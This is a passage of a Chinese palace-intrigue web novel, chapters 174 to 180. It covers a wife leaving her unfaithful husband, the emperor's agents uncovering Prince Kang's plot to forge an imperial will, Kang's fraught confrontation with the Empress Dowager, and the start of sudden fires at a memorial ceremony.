“不……不是的……夫人……阿竹……”薛千良被她的话击得溃不成军,心理防线彻底崩溃。他伏在地上,痛哭流涕,紧紧抱着吕氏的小腿,“我错了……我真的知道错了……阿竹,你原谅我,我这就把她们赶走,赶得远远的!我以后再也不出去玩了,我守着你哪儿也不去,我们好好过日子,好不好?求求你,原谅我这一次……” 泪水终于从吕氏眼中滑落,她闭上眼,深深吸了一口气,再睁开时,眼底只剩下冰冷的决绝。 “不。”她清晰地吐出这个字,用力抽回自己的腿,“薛千良,我要跟你和离。” “和离?!”薛千良如遭雷击,猛地抬头,脸上泪水纵横,眼中满是恐慌与抗拒,“不!我绝不同意!阿竹,你不能这么狠心!我们二十多年的夫妻啊!嘉嘉都这么大了,还有了身孕,棠姐儿还这么小,你忍心让这个家散了吗?” 吕氏早已预料到他会有此反应。和离之事,确实不是她一人能决断,更需徐徐图之。她压下心中翻涌的情绪,语气稍缓,却依旧坚定: “你若执意不肯和离,也罢。”她看着薛千良瞬间亮起希望的眼睛,缓缓道,“只是,我不想再待在京城了。我想出一趟远门,散散心。” “散心?你要去哪里?”薛千良急切地问,只要不和离,什么都好商量。 吕氏望向窗外,“关外。我爹当年行商,总不许我跟去,说路途艰险。后来嫁了你,更是再无机会。可我听他,听那些老掌柜们,讲了太多关外的故事——大漠孤烟,长河落日,草原苍茫……我想亲眼去看看。” “关外?!”薛千良倒吸一口凉气,方才升起的希望瞬间又被恐慌取代,“不行!太远了!也太危险了!你一个妇人如何去的?况且……况且嘉嘉还大着肚子,你难道就忍心抛下她,走那么远吗?”他试图用女儿来牵绊她。 吕氏摇了摇头道: “薛千良,走到今天这一步,我唯一还能感谢你的,就是跟你有了嘉嘉这个女儿。” 她顿了顿,想起女儿昨日依偎在她身边,握着她的手说的那些话,眼中终于有了一丝暖意:“嘉嘉跟我说了,她不是小孩子了,她懂得照顾自己,也能承担起自己的生活。她唯一的心愿,就是我这个做娘的能开心些。她让我放心大胆地去,去看看外面的天地,等她的孩儿百日,或者周岁的时候,回来瞧瞧就行。” 薛千良听到这里,脸上猛地闪过一丝难堪与羞恼,他几乎是脱口而出:“你……你把我们的事,把这些……都跟嘉嘉说了?” 他无法想象,那些关于外室、私生子、欺骗的龌龊事,被女儿知晓,他在女儿心中那“慈父”的形象将如何崩塌。 第175章 老废物 “她是我在这世上最亲的人。”吕氏迎上他惊怒交加的目光,语气平淡却不容置疑,“我有什么事,需要瞒着她呢?” 薛千良脸色一阵红一阵白,心中翻涌着强烈的怨怼与难堪。他觉得,无论如何,吕氏都不该把这些夫妻间的丑事摊开给女儿看,这让他颜面扫地,也让这个家最后的体面荡然无存。 吕氏没有解释,也懒得解释。她更不会让薛千良知道,揭开这残酷真相的第一把钥匙,正是他们疼爱的女儿亲手递过来的。 自那日起,吕氏便让人把薛千良的东西挪出了正房,两人开始分居。 她开始忙碌地准备出行的事宜,薛千良像个无所适从的影子,沉默地跟在吕氏身后,吕氏却只把他当作空气。 出门在外,顶要紧的无非两样:足够的银钱和可靠的人手。这两样,吕氏恰巧都不缺。 行李细软不必多带,吕氏只收拾了几箱换洗衣物、必备药品、沿途可能用来打点或交易的精巧货品,以及她珍爱的商路图和父亲留下的手札。不过三五日光景,一切便已打点妥当。 拿到路引后,吕氏就准备出发了。 起程那日,天色微明,城门将开未开之际,吕氏的车队已静候在侧。 薛嘉言早早便到了,拉着母亲的手,千叮万嘱,眼圈泛红,却强忍着没让眼泪掉下来。 吕氏替女儿拢了拢鬓角的碎发,笑容温煦而充满力量:“放心,娘会给你写信。好好照顾自己。” 薛千良也来了,站在几步开外,形容憔悴,眼睛红肿,一副彻夜未眠的模样。他想上前说些什么,嘴唇动了动,却发不出声音,只眼睁睁看着妻子与女儿话别。 时辰到了,吕氏不再耽搁,利落地转身登车。坐定后,她推开车窗,再次朝女儿挥了挥手,脸上是释然与期待的微笑。目光扫过一旁痴痴望着她的薛千良时,那笑容未有丝毫变化,眼神却平淡地掠了过去,仿佛他只是城门边一块无关紧要的石头。 车夫扬鞭轻喝,车轮辘辘转动,带着一队人马,朝着北方初升的朝阳,缓缓驶出了城门,身影在官道上渐渐变小,最终融入远方的尘烟里。 薛千良一直死死盯着那个方向,直到再也看不见任何踪影,那强撑了一早上的脊梁骨仿佛瞬间被抽走,“噗通”一声,他竟支撑不住,直接蹲在了地上,双手捂住脸,压抑了许久的呜咽声终于断断续续地漏了出来,肩膀剧烈地耸动着,像个被遗弃的孩子。 城门附近早起的人投来诧异的目光,薛嘉言看着父亲这般失态的模样,心中五味杂陈,有酸楚,也有一种尘埃落定的漠然。她静静站了一会儿,终是上前,轻轻拍了拍父亲的肩膀:“爹,回去吧。娘……她会好好的。” 肃国公府,深宅之内。 高氏正倚在榻上,由丫鬟轻轻捶着腿,听心腹陈嬷嬷低声说事。 “夫人,一早上孙夫人又来找您了,应该又是想说二老爷升官那事,老奴知道您为难,便说您身子不适,请孙夫人先回去了。” 高氏嗯了一声道:“二房也不知得罪了谁,板上钉钉的升职怎么就给拿下来了。他倒是想让我回娘家去说,可我都不清楚背后是谁在针对他,怎么能让父兄贸然出手。” 陈嬷嬷道:“谁说不是。到时候得罪了人的是咱们高家,得了好处的却是二老爷。” 高氏又道:“这几日二房来人你都让人拦着吧。” 陈嬷嬷应了,忽又神秘兮兮说道:“夫人,外头那位不知怎么自个儿走了。今儿个天没亮就出的城,带的人马不少,瞧着是往北边去的。” 陈嬷嬷声音压得极低,“大老爷去送了,听说……在城门口哭得不成样子,人都蹲地上了。” 高氏闻言,眼皮都没抬一下,只从鼻腔里发出一声冷笑:“废物。从年少时就是个没担当的废物,到如今,除了多添了几道皱纹,还是那副德性。” 陈嬷嬷觑着她的脸色,小心翼翼道:“夫人也别这么说,好歹……那位走了,大老爷应该会回来了,您和大老爷,才是原配的结发夫妻,这往后……” 高氏终于抬起眼,斜睨了陈嬷嬷一眼,那目光里满是讥诮与厌倦,“陈嬷嬷,你跟了我这么多年,难道还不明白?我高婉贞这辈子,年轻时就没看上过他这副软骨头、没担当的样儿!难道等他老了,我再把他接回来,把他当个香饽饽?” 她嗤笑一声,语气斩钉截铁:“有他没他,我都是这肃国公府名正言顺的夫人。这府里的尊荣、儿子的前程,才是实实在在的东西。要他回来作甚?添堵吗?” 陈嬷嬷张了张嘴,还想再劝几句“夫妻终归是夫妻”“晚年有个伴儿”之类的话,可看着高氏那副毫不掩饰的冷漠与不耐,话到嘴边又咽了回去。这位主母的心性,她再清楚不过,决定的事,九头牛也拉不回。 高氏已不耐烦地摆了摆手:“行了,这些没要紧的话不必再说。去,把元哥儿抱过来。昨日先生教的书,我来考考他记得多少。这孩子,将来是要撑起国公府门楣的,一刻也松懈不得。” “是,夫人。”陈嬷嬷连忙躬身应下,不敢再多言,悄步退了出去。 室内恢复了寂静。高氏重新闭上眼睛,任由丫鬟不轻不重地捶着腿,神色平静无波,仿佛方才谈论的,只是一个无关紧要的路人甲。那些年少时的怨怼,婚姻中的冰冷,早已被漫长的岁月磨得心中再无波澜。 第176章 查证 紫宸殿内,姜玄独自坐在御案后,明黄的龙袍衬得他面色有些疲惫,正用指腹用力按压着突突直跳的太阳穴。 苗菁进来躬身行礼后,压低声音回禀道:“启禀皇上,臣查探赵茂才家人下落。其家原居京郊赵家村,世代务农,并无异状。去年腊月前后,赵家上下十余口人,一夜之间消失无踪。村中传言是举家搬迁,投奔远方亲戚去了。” 姜玄指尖微顿,抬起眼,眸色沉沉:“搬迁?可有凭证?” 苗菁继续说道:“臣已查过县衙户房所有存档,近一年来,并无赵家开具路引、办理迁户的登记记录。一个大活人凭空消失尚有可能,举家十余口,老幼妇孺皆无踪影,却无半点官府文书佐证——臣推断,并非自愿搬迁,而是被人挟持、秘密转移了。” 姜玄放下手,身体微微前倾:“康王府那边,近日可有异动?” “表面看来,一切如常。”苗菁答道,“康王殿下深居简出,除了例行上朝、赴宴,并无特别举动。不过……”他略一停顿,“臣设法收买了康王府内一名掌管庶务的二等管事,据他透露,这三四个月,王府每月拨给王妃名下西郊一处庄子的钱粮用度,比往年同期增加了近五成,且多为米面肉蔬等日常消耗之物。那庄子规模不大,王妃亦不常去,如此用度,颇为蹊跷。” 姜玄眼中寒光一闪:“你是怀疑,赵家人被关在了那庄子上?” “臣确有疑心。”苗菁点头,“已安排北镇抚司千户薄广,带人手秘密前往那庄子附近查探、监视,伺机潜入确认。若赵家人真在其中,必设法营救,并带至安全之处讯问。” “很好。”姜玄颔首,“务必问清楚,康王究竟从他们口中,或是从他们手中,得到了什么。是确凿的证据,还是捕风捉影的线索?” “臣明白。”苗菁继续禀报,“另有一事。康王身边有位姓王的长史,籍贯苏州,出身装裱世家,其祖上曾为内府服务。此人除精通文墨外,尤擅模仿各家笔迹,做旧纸张、印鉴更是拿手绝活,在古董行当里也有些隐秘名声。臣以为,若康王欲伪造什么‘旧物’‘遗证’,此人必是关键。” 姜玄冷笑一声:“仿冒笔迹,做旧文书……祭祀大典在即,天下瞩目,绝不容许任何纰漏,更不容许有人借此生事。苗菁,在祭祀大典之前,必须将此事查实清楚!康王手里究竟有什么,是真凭实据还是伪造证据,朕要一清二楚!” “是!”苗菁躬身退出。 苗菁行事向来雷厉风行,布置周密。北镇抚司千户薄广带人潜入康王妃名下的西郊温泉庄子后,并未打草惊蛇,只是暗中摸排,确认庄子深处一处隐蔽的地窖和相邻的几间偏房确有看守,且每日有固定人员运送大量食水进去。摸清规律后,趁一次守备换岗的短暂空隙,以迷香配合迅捷身手,悄无声息地控制住了外围几名护卫,顺利打开了地窖的门锁。 地窖里果然关着赵茂才一家老小十余人,个个面黄肌瘦,神色惊惶。为首的赵茂才之弟赵茂福,被单独带出问话时,吓得浑身哆嗦,几乎站立不稳。 “大人……大人饶命啊!”赵茂福扑通跪倒在地,涕泪横流,“小的们……小的们就是老实本分的庄稼人,什么都不知道啊!是……是去年年底,突然来了一伙凶神恶煞的人,半夜闯进家里,把我们全家绑了,蒙上眼睛带到了这里……一直关着,除了每天有人送饭,问话,什么都不让做……” 苗菁站在他面前,阴影笼罩着这个惊恐的农夫,声音冰冷无波:“问话?问什么?” “问……问小的哥哥茂才……宫里的事……”赵茂福结结巴巴,“问哥哥在先帝爷驾崩前后,有没有说过什么特别的话,有没有留下什么东西……他们……他们还拿了棍子,说不老实说,就打死我们全家……” “你怎么说的?”苗菁追问。 “小的……小的不敢隐瞒啊!”赵茂福哭道,“哥哥他……他在先帝爷大行后,确实偷偷回过一次家。那天他脸色很难看,像……像是天要塌了。他拉着小的,很凝重地说,他可能……可能活不长了,让小的以后记得给他立块碑,再给他过继个孩子,别让他在下面成了没人祭奠的孤魂野鬼……” “就这些?”苗菁目光如炬。 赵茂福瑟缩了一下,努力回忆:“小的当时吓坏了,问他到底出了什么事。哥哥他……他摇了摇头,不肯细说,只喃喃念叨着什么‘要变天了’,‘黑云要遮白日’……小的就是个粗人,听不懂这话是什么意思啊大人!” “黑云遮白日?”苗菁低声重复,眼中锐光一闪,“他还留下什么东西没有?” “东西?”赵茂福茫然地想了想,“哥哥在宫里当差,偶尔会捎回来一些银钱、宫里赏的糕点布料,那些年早就用完了……哦,对了!还有一本旧书!哥哥说是什么……什么宫里哪位贵人不要了赏下来的,挺厚一本,家里也没人识字,一直拿来垫桌脚的。那伙人……那伙人把家里翻了个底朝天,把那本书,还有几件哥哥以前带回来的旧衣服、一个看着挺结实的木盒子,都拿走了!” 问清那本书的大致模样及其他物件特征后,苗菁心中已有计较。他命人将赵家人秘密转移至北镇抚司另一处更为隐秘的据点严加看管,同时加紧了另一条线的行动。 利用早已收买的康王府管事做内应,苗菁选派了两名精于潜伏、身手了得的锦衣卫暗探,乔装成康王府的仆役混了进去。这两人在王府内潜伏了整整一日一夜,借助内应提供的粗略地图和换岗信息,重点搜寻了康王书房,以及那位擅长仿造的王长史的住处。 第177章 谢恩 苗菁派人查探的过程出乎意料的顺利。 次日黎明前,两名暗探成功脱身,带出来的,正是赵茂福描述的那本蓝布封皮无字旧书,以及几块明黄色、质地考究的布帛边角料——那颜色与质地,分明是专用于圣旨或重要宫廷文书的规格。此外,还有几枚看似普通、但雕刻纹路异常精细的木质印坯,以及一些混杂着不同年代墨迹的残破纸张。事情 看着摆在长宜宫偏殿桌案上的这些“收获”,苗菁的眉头却微微蹙起。太顺利了。康王若真在策划关乎皇权根本的阴谋,这些可能是关键物证的东西,即便不全带在身边,看守也绝不该如此松懈,竟让两名外来者一日一夜间便有所获。是康王太过自信,还是……另有蹊跷? 他不敢怠慢,立刻进宫向姜玄禀报。 姜玄听完苗菁的详细回禀,尤其是赵茂才那句“黑云要遮白日”,嘴角勾起一抹冷笑:“黑云压青天?呵,在他的眼里,朕是那遮天蔽日的黑云,而他才是被遮蔽的白日青天?荒谬!” 苗菁垂首,沉声道:“皇上,臣亦觉此事……似乎过于顺遂。康王府内防卫并非铁板一块,但关键之物如此轻易得手,恐有诈。” 姜玄负手立于窗前,望着宫苑中开始泛黄的树叶,沉默了片刻。 “先将赵家人看管好,莫走漏风声。这些‘证物’……”他回身,目光扫过那本旧书和明黄布帛,“仔细查验,尤其是那本书,每一页、每一个墨点都不要放过。至于康王府……继续盯着,外松内紧。朕倒要看看,他这葫芦里,到底卖的是什么药。” “是!”苗菁领命。 梦华宫地处西六宫僻静一隅,住着先帝留下的三位有子女的太妃,这里清静雅致,算是颐养天年的好去处。康王姜昀的生母齐太妃便居于此宫中殿。 得了皇帝准予探视面允诺,又有太后身边沁芳姑姑的安排,姜昀这日顺利入了宫禁,来到梦华宫。 三年未见,齐太妃早已倚门翘盼。见儿子身影出现在宫道尽头,未语泪先流。待姜昀疾步上前行礼问安,她一把拉住儿子的手,攥得紧紧的,上下细细打量,泪眼朦胧中尽是关切:“我儿……瘦了,也黑了些……封地苦寒,定是吃了不少辛苦……” 姜昀扶着母亲入内,温声安抚:“母妃放心,儿子一切都好。封地虽不及京城繁华,却也自在。倒是母妃,瞧着气色似不如从前,可是身上有何不适?太医可常来请脉?” 齐太妃用帕子拭了拭眼角,摇头叹道:“老毛病了,换季便咳,不碍事。太医每月都来,开的方子也就是那些,将养着罢了。”她拉着儿子在榻边坐下,絮絮地问起封地的衣食住行、属官是否得力、有无为难之处,姜昀一一耐心作答,报喜不报忧。 叙完别情,姜昀屏退左右伺候的宫人,只留母亲心腹老嬷嬷在门口守着,这才压低声音问道:“母妃,近一年来,宫中……可有什么不寻常的动静?” 齐太妃闻言,神色略显茫然,想了想,摇头道:“后宫如今空荡荡的,统共没几位主子,能有什么动静?若说新鲜事……也就是去年,皇上不知怎的宠幸了个宫女,那宫女有了身孕,听说胎像不稳,挪到京西行宫养着去了。但这也不算什么事。” 姜昀对姜玄宠幸了谁、是否有子嗣并不十分在意,他真正关心的是另一层关系。他微微倾身,声音压得更低:“那……太后与皇上之间,关系如何?可还如从前那般亲密无间?” 提到这个,齐太妃倒是神色一动,思索着道:“我正想与你说说这个。今年过年时,按例我们去长乐宫给太后请安。在偏殿等候时,无意中听得两个小宫娥在廊下窃窃私语,说除夕守岁和初一贺岁,皇上和太后都是各自在各自宫里过的,并未像往年那样一同守岁、饮宴。当时我就有些奇怪,只当是皇上年岁渐长,政务繁忙,或是想要避嫌……” 姜昀听罢,心中冷笑一声,暗道果然。宫宴那夜太后与姜玄之间那似有若无的疏离与暗涌,并非他的错觉。这对名义上的母子,已然出现了清晰的裂痕。 可随即,想到被劫走的赵茂才的家人,姜昀眸色不由自主地暗沉下来,牙关微微咬紧。 从梦华宫出来,姜昀并未直接出宫,而是转道去了长乐宫,说要谢太后安排探望母妃。 通传的太监很快回来,躬身道:“康王殿下,太后娘娘说,您孝心可嘉,今日探望齐太妃想必也累了,请先回府歇息吧。” 这是明确拒绝相见了。 姜昀站在长乐宫巍峨的宫门前,脸上并无意外,反而勾起一抹近乎无赖的淡笑。他忽然撩起亲王袍服的下摆,就在宫门前的汉白玉阶上,端端正正地跪了下去。 “母后不肯见儿臣,定是儿臣不够孝顺,未能体恤母后辛劳,或是在何处言行有失,惹了母后烦忧。”他声音清朗,不高不低,却足以让宫门内外侍立的太监宫娥听得清清楚楚,“儿臣便在此跪着,静思己过,何时母后愿意见儿臣一面,训诫教导,儿臣何时再起。” 消息飞快传入内殿。太后正在佛堂捡佛豆,闻言,手中一滑,几颗浑圆的豆子滚落在地。她气得胸口微微起伏,脸色发青:“混账东西!他这是要做什么?” 沁芳忙上前替她抚背顺气,低声道:“娘娘息怒。康王殿下这般……若真让他一直跪着,恐惹流言蜚语。那些宗室元老、碎嘴的言官,还不知要编排出什么难听的话来。” 太后如何不知其中利害?姜昀这是算准了她顾忌名声,真真是无赖! 太后深吸一口气,强压下心头怒火,对沁芳冷声道:“去,把那个孽障领进来!带到偏殿会客厅等着!本宫倒要看看,他今日究竟又想唱哪一出!” “是。”沁芳应下,匆匆出去传话。 不多时,姜昀拍了拍袍角上并不存在的灰尘,跟着沁芳,步入了长乐宫那扇对他重新打开的宫门。 第178章 哭了 偏殿会客厅内,姜昀独自坐在下首的黄花梨木圈椅里,手边茶盏中的水汽袅袅升起,他却未沾唇,只目光沉沉地望着门口的方向。 约莫过了一炷香的时间,脚步声才由远及近。太后扶着沁芳的手走了进来,面色沉郁如水。 沁芳已经得了吩咐,退出后守在门口,不需任何打扰太后与康王说话。 姜昀即刻起身,依礼躬身:“儿臣给母后请安。” “康王多礼了。”太后声音冷淡,径直走到主位坐下,甚至未抬眼看他,“既已探望过齐太妃,尽了孝心,便早些回府歇息吧。哀家这里,不必特意来谢。” “养育之恩,照拂之情,岂能不谢?”姜昀直起身,目光却未从太后脸上移开,那眼神不再像行宫花园里那般带着几分玩世不恭的狎昵,反而透着一股沉沉的阴郁,甚至隐隐有压抑的怒火。 太后被他这目光盯得心头莫名一虚,下意识别开了脸,指尖无意识地拨弄着腕上的佛珠,语气却更显疏离:“按祖制,有子的太妃本该长居宫中颐养。不过……若是康王实在心系母妃,孝心可悯,哀家倒是可以向皇上进言,破例允许你将齐太妃接到封地奉养两年,以全你母子之情。” 姜昀闻言,嘴角扯出一抹弧度,几乎是咬着牙,一字一顿道:“母后……真真是‘心疼’儿子,处处为儿子‘着想’……” 太后眉心猛地一跳,终于抬眼瞥向他,却猝不及防地对上了一双泛着隐隐水光的眸子。那里面翻涌的情绪太过复杂,有痛苦,有不甘,有被背叛的愤怒,还有一丝执拗。 太后不由得愣住了。她印象中的姜昀,或张扬,或轻狂,或算计,何曾露出过这般近乎脆弱的神情? 两人目光在空中短暂交缠,姜昀的嘴唇动了动,似有千言万语堵在喉头,最终却只是化作眸中愈发明亮的水色,潋滟欲滴。 太后只觉得心口像是被什么东西轻轻撞了一下,传来一阵细微却清晰的抽痛。这陌生的感觉让她瞬间警醒,猛地收回视线,强自镇定下来,声音恢复了惯有的冷硬:“康王既已当面谢过恩,若无他事,便退下吧。哀家乏了。” 姜昀却没有依言退下。他缓缓站起身,高大的身影在略显昏暗的厅内投下一片压迫感的阴影。他一步步,缓慢而坚定地,朝着主位上的太后走来。 太后被他这举动惊得心头一紧,身体不由自主地向后靠去,紧紧贴在冰凉的椅背上,声音带着不易察觉的微颤:“你……你要做什么?站住!” 说话间,姜昀已行至她身前,咫尺之距。他并未有更逾矩的动作,只是俯下身,双臂展开,双手重重撑在了太后座椅两边的扶手上,将她整个人困在了这一方空间里。然后,他微微低下头,前额轻轻抵住了太后的前额。 呼吸近在咫尺,温热的气息交缠。 “为什么……”他开口,声音喑哑得像是砂砾摩擦,每一个字都浸满了痛苦与不解,“四年前……你选了他。四年后……你还是选了他。” 他抬起头,稍稍拉开一点距离,好让自己能清晰地看到太后眼中每一丝变化,那目光灼热而痛苦,死死锁住她:“我到底……哪里不如他?绾绾,你告诉我!” 这一声压抑的“绾绾”,像一道惊雷,炸响在太后耳畔。他竟敢叫她的小字! 太后心头狂跳,如同擂鼓,她猛地伸出手,用力抵在姜昀坚实的胸膛上,试图推开这令人窒息的距离,声音因气急而发颤:“放肆!姜昀,你胡言乱语什么?滚出去!再不退下,哀家立刻叫护卫进来,将你乱棍打出去!” 姜昀没有动,只是就着这个居高临下的姿势,深深地凝视着她。眼中积蓄已久的泪光,终于承受不住重量,汇聚成饱满的一滴,猝然坠落。 “啪嗒。” 那滴滚烫的泪,不偏不倚,正落在太后抵在他胸口的手腕内侧。温热的触感清晰无比,像一滴熔岩,烫得她手腕肌肤猛地一缩,心头亦是狠狠一悸。 她愕然抬眼,再次撞进姜昀眼中。那里面的痛苦如此真实,如此浓烈,几乎要满溢出来,淹没了所有的算计与伪装。这一刻的他,不像一个步步为营的亲王,倒像一个被至亲至爱之人反复抛弃、伤痕累累的困兽。 姜昀闭上眼睛,更多的泪涌到一起,吧嗒吧嗒落了两三滴。 太后张了张嘴,想说些什么,呵斥的话到了嘴边,却哽住了。 她看着姜昀紧闭双眼、下颌紧绷的痛苦模样,心头那股坚硬冰冷的防线,竟不自觉地裂开了一道细微的缝隙。她听见自己温柔问道:“你……你怎么哭了?” 姜昀猛地睁开眼睛,眸中水光未退,却燃起了更烈的火焰。他像是被这句话刺痛,又或是终于抓住了她一丝动摇的迹象,咬牙低喝:“你还在装傻吗?事到如今,你难道还看不明白,选谁才会一直把你捧在手心里。姜玄就是个寡淡薄情,冷心冷肺的人!你待他有恩又如何?他不是你亲儿子,不可能真心敬爱你!” “绾绾……”他嘶哑地唤出小字。 “不许叫我绾绾!”太后像是被针扎了一般,厉声打断。 “不许?”姜昀嗤笑一声,眼中痛色更浓,“我偏叫。既然你已经把赵茂才的事情告诉了他,我手里那张的底牌,等于被你亲手废了!绾绾,你欠我一次,四年前一次,如今是第二次!你拿什么还我?” “谁欠你什么?”太后矢口否认,胸口却因他直白的指控而剧烈起伏,“你失心疯了,在这里胡言乱语!” “我疯了?”姜昀死死盯着她,目光像是要剖开她的心,“你敢看着我的眼睛说,父皇当年留下的遗诏,不是传位于我姜昀?” 第179章 他不对劲 “不是!”太后斩钉截铁,声音却有一丝不易察觉的紧绷。 “不是?”姜昀重复着这两个字,忽然低低地笑了起来,那笑声里充满了悲凉与自嘲,“绾绾,你真狠心啊……我一直以为,我们之间是有默契的。可当年,你和宋家,最终还是选了姜玄……这四年来,看着他日渐坐大,看着他对你日渐疏远,你可曾有过一丝后悔?” 太后强迫自己迎上他的目光,用最冠冕堂皇的理由武装自己:“国家大计,社稷为重,有什么后悔不后悔?皇帝勤政爱民,未曾辜负先帝所托,这便是最好的结果。” “社稷?百姓?”姜昀摇头,目光执着地锁着她,“那些与我何干?我从没有姜玄那样的‘运道’,我也不想再跟他争那个位置了。我只要你,绾绾……我只要你,好不好?”他的声音陡然低柔下来,哀求道。 “你又胡说八道!”太后斥道,抵在他胸前的手却微微发颤。 “我没有胡说!”姜昀急切地辩解,眼中燃起一簇疯狂又炽热的光,“我本来就不喜欢赵月琳,是你,是你们塞给我的!只要你愿意,我我想办法娶你!你知道的,我能做得到!” 太后心头巨震。她没想到,姜昀这个疯子,内心深处隐秘、悖逆的念头,竟然与她自己那不可告人的渴望……不谋而合! 这个认知让她瞬间慌乱,却又在心底激起一丝难以言喻的悸动。她太了解姜昀了,知道他是个吃软不吃硬的“顺毛驴”。强硬抗拒只会让他更加偏执疯狂。 太后脸上冰冷强硬的神色如潮水般褪去,换上了一种带着无奈与疲惫的柔软。她轻轻摇了摇头,声音放得低柔,带着长辈劝导晚辈般的恳切:“曜之……”她唤了他的表字,“别疯了。你有大好前程,尊贵的亲王之身,在封地便是一方之主,与皇帝又有多少差别?何必如此,平顺安稳地过一生,不好吗?” 姜昀却像是只捕捉到了她态度软化的信号,眼睛一亮,立刻点头:“好!若你也在封地,那便很好!我们一起去,远离京城,好不好?” 太后心头那点刚升起的柔软瞬间被烦躁取代。她蹙起眉,语气重新染上不耐:“随你怎么疯吧!你该走了,你我虽是母子名分,也不好单独相处太久,惹人闲话。” 见她又要竖起心防,姜昀眼底掠过一丝失落,但他依言站直了身子,向后退开一步。但他没有立刻离开,而是定定地、深深地看了太后一眼,那目光复杂难明,有未褪的情意,有不甘的执念,更有不容错辨的势在必得。 “从今日起,到我离开京城,还有大半个月时间。”他一字一句说道,“你好好想想我说的话。我等你答复。” 说罢,不再给太后任何反驳或呵斥的机会,他利落地转身,大步走向殿门。 姜昀的脚步声彻底消失在殿外廊庑尽头,偏殿内重归一片死寂,只有沉水香细弱的青烟还在无声盘旋。太后依旧保持着方才的姿势,僵坐在宽大的紫檀木椅中,目光却空茫地落在对面空荡荡的座椅上,久久未动。 沁芳悄步挪了进来,小心地觑着太后的脸色,只见太后眉头紧紧锁成一个川字,面色是从未有过的凝重与肃然。 “娘娘……”沁芳放轻了声音,试探着问道,“康王殿下他……方才说了什么不中听的话,惹娘娘烦心了?” 太后仿佛被她的声音惊醒,眼睫微微一颤,却没有立刻回答。她缓缓抬起手,揉了揉隐隐作痛的额角,声音带着一种深思后的沉郁:“沁芳,姜昀他……有些不对劲。” “不对劲?”沁芳不解。 “嗯。”太后放下手,目光锐利起来,像是要穿透眼前的虚空,看清那个刚刚离去之人的真面目。 姜昀从前也是个行事无忌、心思难测的疯子。他看太后的眼神不对,私底下无人时,也会说些胆大包天、撩拨人心的话。可是他还是有所顾忌的。 但这次入京,太后感觉,姜昀似乎毫无顾忌了。太后总觉得,姜昀不是这种不计后果的人。 “沁芳,你说康王为何主动把赵茂才的事情告诉我呢?” 沁芳迟疑道:“或许……是信任娘娘?” “信任我?”太后冷笑,“经过庚申年那件事,他恨我入骨还差不多,怎么可能信任我?他又不是傻子,岂会不知,我把这事告诉姜玄的可能性,远比替他隐瞒要大得多。” 沁芳被问住了,喃喃道:“那……殿下这是为何?总不会是真想借娘娘的口,去提醒皇上吧?” “提醒皇上?”太后若有所思,指尖轻轻叩着扶手,“这倒未必。或许……他是在试探。” “试探?” “嗯。”太后眸光深沉,“试探我与姜玄的关系,究竟到了哪一步。若我得知此事,立刻密报姜玄,甚至帮着姜玄布局对付他,那就说明我与姜玄的联盟依旧牢固,他后续的许多动作,就必须更加谨慎,甚至另寻他路。” 她顿了顿,继续分析:“若我知情不报,或是态度暧昧,甚至像他期待的那样,选择站在他这一边,那他就能从中窥见可乘之机,判断出我与姜玄之间裂痕的深浅,甚至可能利用这裂痕,做更多文章。” 沁芳听得背后发凉:“殿下他……心思竟深至此?” “他本就是多疑多智、善于揣度人心之人。”太后闭上眼,长长吐出一口气,似要吐出胸中郁结,“他现在这般毫无顾忌,要么是他有恃无恐;要么……就是他决定孤注一掷了。” 无论是哪一种,对太后而言,都意味着巨大的麻烦和危险。姜昀就像一颗不知何时会炸开的惊雷,而引线,似乎已经缠绕到了她的身上。 太后揉了揉太阳穴,低声道:“沁芳,让长宜宫那边知道,今日康王来长乐宫找哀家了。” 第180章 大典惊变 长宜宫内,张鸿宝躬着身子,低声禀告:“……康王殿下在长乐宫足足待了两刻钟才出来。” 姜玄抬起眼,轻轻笑了一声。 张鸿宝心头猛地一哆嗦,急得几乎要跺脚,声音也忘了压:“哎呦我的万岁爷!您、您怎么还笑得出来啊!两刻钟!那得说多少要命的话!太后娘娘她……” 想到这大半年离皇上和太后之间的龃龉,张鸿宝不敢再说下去,满面忧惧。 “行了,”姜玄放下朱笔,目光却已投向窗外沉沉的夜色,“朕知道了。” 他的语气平静无波,仿佛只是听了一件无关紧要的琐事。 张鸿宝喉头哽住,再多的话也只能咽回去,喏喏退至一旁。 不多时,一道瘦削如竹的身影进入殿内,苗菁单膝点地,声音是一贯的冷硬清晰:“陛下,康王府在京畿大营留驻的一千多属兵,这两日有动作。另,城外几家与王府有旧的庄园,入夜后亦有车马暗聚。” 姜玄“嗯”了一声,手指在紫檀木案几上轻轻一点:“由着他们。” “宋家既然敢接京畿防务的担子,”姜玄的声音低沉,“就得把该守的门,给朕守牢了。守不住……”他顿了顿,没有说下去,但那未尽之意里的寒意,让侍立一旁的张鸿宝生生打了个冷颤。 “去办吧。”姜玄对苗菁微微颔首,又低声交代了几句。苗菁眼中了然之色掠过,躬身一礼,如来时一般,悄无声息地融入了殿外的黑暗里。 四月二十三,是祭祀先帝的正日子。 寅时刚过,天色是那种将明未明的青灰色。薄雾如纱,缠绕着太庙巍峨的殿宇和森森古柏。沉重的编钟声自五凤楼响起,一声,又一声,缓慢而庄严,撞开晨雾,荡在汉白玉铺就的广阔广场上。 广场之上,旌旗蔽日,仪仗如林。文武百官、皇室宗亲依品级肃立,鸦雀无声。香烛的沉郁气息弥漫在微凉的空气里,有一种山雨欲来的死寂。 姜玄立于祭坛最前方。身着玄色冕服,头戴十二旒白玉珠平天冠,旒珠轻轻晃动,将他年轻的面容遮蔽得影影绰绰,只余一个线条清晰而紧绷的下颌。他手持玉圭,身姿挺拔如松,对着供奉先帝神位的方向,深深一揖,动作标准得无可指摘,带着一股源自骨子里的疏离与威压。 在他右后方半步,太后凤冠翟衣,妆容完美无瑕,面色沉静如同供奉在侧的玉雕神像。左后方,以雍王为首的诸位亲王郡王依次排开,蟒袍玉带,面色各异,或凝重,或垂眸,或目光游移。 礼部尚书王彦手持祭文,苍老而洪亮的声音在空旷的广场上回荡,古奥艰深的辞藻顺着着香火的青烟袅袅上升、扩散。一切依礼而行,庄重,规范。 忽然—— 祭坛东南角那座半人高的青铜鼎内,本该平稳燃烧的粗大香烛,毫无征兆地,”啪嗒“一声响,呼”地爆起一团幽蓝混着橘红的诡异火焰,火舌猛地窜起丈许高!几乎在同一刹那,西北角悬挂的玄色绣金帷幔仿佛被无形之手引燃,一道火线凭空显现,飞速向上蔓延! “呀——!”近处侍立的小太监吓得魂飞魄散,失声惊叫,又立刻死死捂住嘴,只余下一双瞪大的、充满恐惧的眼睛。 太常寺卿宋宜年厉声叫来侍卫去救火,一时间祭坛附近人影晃动,一场忙乱。 